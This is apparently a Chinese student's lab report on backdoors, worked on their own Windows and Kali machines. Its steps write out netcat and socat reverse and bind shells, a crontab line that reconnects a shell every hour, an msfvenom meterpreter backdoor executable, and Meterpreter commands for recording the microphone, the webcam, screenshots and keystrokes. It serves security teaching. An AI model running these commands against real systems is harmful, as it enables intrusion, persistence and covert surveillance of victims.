2018-2019-2 网络对抗技术 20165320 Exp2 后门原理与实践

后门原理与实践

---

windows获取Linux操做Shell

• 获取本机的IP
  

• netcat介绍：一个进行基本的TCP、UDP数据收发的工具

• 相关的参数与具体用法
  

• windows打开监听： ncat.exe -l -p 5320(学号)

• Linux反弹链接windows nc IP 5320(学号) -e /bin/sh

• windows命令行内输入ls，查看实验结果以下：
  

Linux获取Windows操做shell

• Linux运行监听：nc -l -p 5320

• Windows反链接Linux: ncat.exe -e cmd.exe ip_of_linux 5320

• Linux下可以看到windows命令行的提示符，实验结果以下：
  

使用ncat进行数据的传输

• Linux运行监听

• Windows反链接Linux

• Linux命令行中输入数据，Windows能收到：
  

使用ncat进行文件传输

• windows运行监听 ncat.exe -l 5320 > 20165320.txt

• Linux反链接windows nc 192.168.1.143 5320 < 20165320.txt

• 查看运行结果以下：
  

• 过程当中遇到的问题：我尝试过用Linux运行监听，windows反链接Linux，可是一直提示“因为链接方在一段时间后没有正确答复或链接的主机没有反应，链接尝试失败”，尝试过关闭防火墙，可是依旧没有用，目前还没找到问题所在。

---

使用netcat获取主机操做的Shell，cron启动

• 在win10系统下启动监听：ncat.exe -l 5320

• 在Kali中使用crontab指令编辑一条任务，在任务的最后一行添加这样一行:每小时多少分钟进行一次反链接 + * * * * /bin/netcat 监听的主机的IP 5320 -e /bin/sh
  

• 等到时间在win10命令行中输入相关命令查看实验结果：
  

使用socat获取主机操做Shell，任务计划启动

• socat相关介绍：查找学姐的博客的相关内容能了解到socat是ncat的加强版，可以创建两个双向的字节流传输数据，具体格式为 socat + 选项 + 地址 + 地址

• 在win10系统进入计算机管理界面

• 建立一个任务并添加一个触发器，在操做选项中添加socat的文件路径，并在添加参数输入框中输入：tcp-listen:5320 exec:cmd.exe,pty,stderr （命令前面能看懂是将cmd.exe与端口号绑定，后面那一串只知道stderr是标准错误输出设备，stdout是标准输入设备）
  
  

• 锁屏后从新登录查看到改任务已经运行成功
  

• 在Kali虚拟机的命令行中输入以下指令：socat - tcp:192.168.1.143:5320，实验结果以下：
  

使用MSF meterpreter（或其余软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

• 在Kali上输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击主机IP LPORT=5320 -f exe > 20165320_backdoor.exe生成一个后门程序，其中LHOST与LPORT应该是后门程序在被攻击主机中运行时，反链接所须要的地址与端口号。
  

• 而后经过nc与ncat.exe将后门程序传送到被攻击主机

• 在Kali虚拟机使用msfconsole指令进入控制台，使用监听模块设置payload，设置反弹回连的IP和端口，设置完成后执行监听。
  

• windows运行后门程序，此时Kali能得到windows的远程Shell，结果以下：
  
  

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

• 使用getuid指令获取用户名
  

• 使用record_mic指令截获一段音频
  

• 使用webcam获取摄像头的权限进行拍照：
  

• 使用screenshot进行截屏
  

• 使用keyscan_start指令记录击键过程，使用keyscan_dump获取相关记录
  

---

• 例举你能想到的一个后门进入到你系统中的可能方式

  答：一个很明显的方式就是不少同窗在某些游戏网站上下载盗版游戏时会有不少捆绑软件，这些软件毫无疑问是一些后门程序

• 例举你知道的后门如何启动起来(win及linux)的方式？

  答：钓鱼，诱使用户点击一些不明连接，打开一些不明文件，图片

• Meterpreter有哪些给你映像深入的功能？

  答：能生成一些后门程序，这个比较方便

• 如何发现本身有系统有没有被安装后门？

  答：好像能经过查看系统进程与一些自启动项，装杀毒软件来进行防御

---

实验体会

• 这一次实验能让本身有一种真正接触到网络攻防的感受，可是仔细想了一下，作的仍是一些特别简单的东西，现实生活中很难使用这样的手段达到攻击的目标，因此还须要努力学习专业知识，争取能学到一些比较厉害的技术。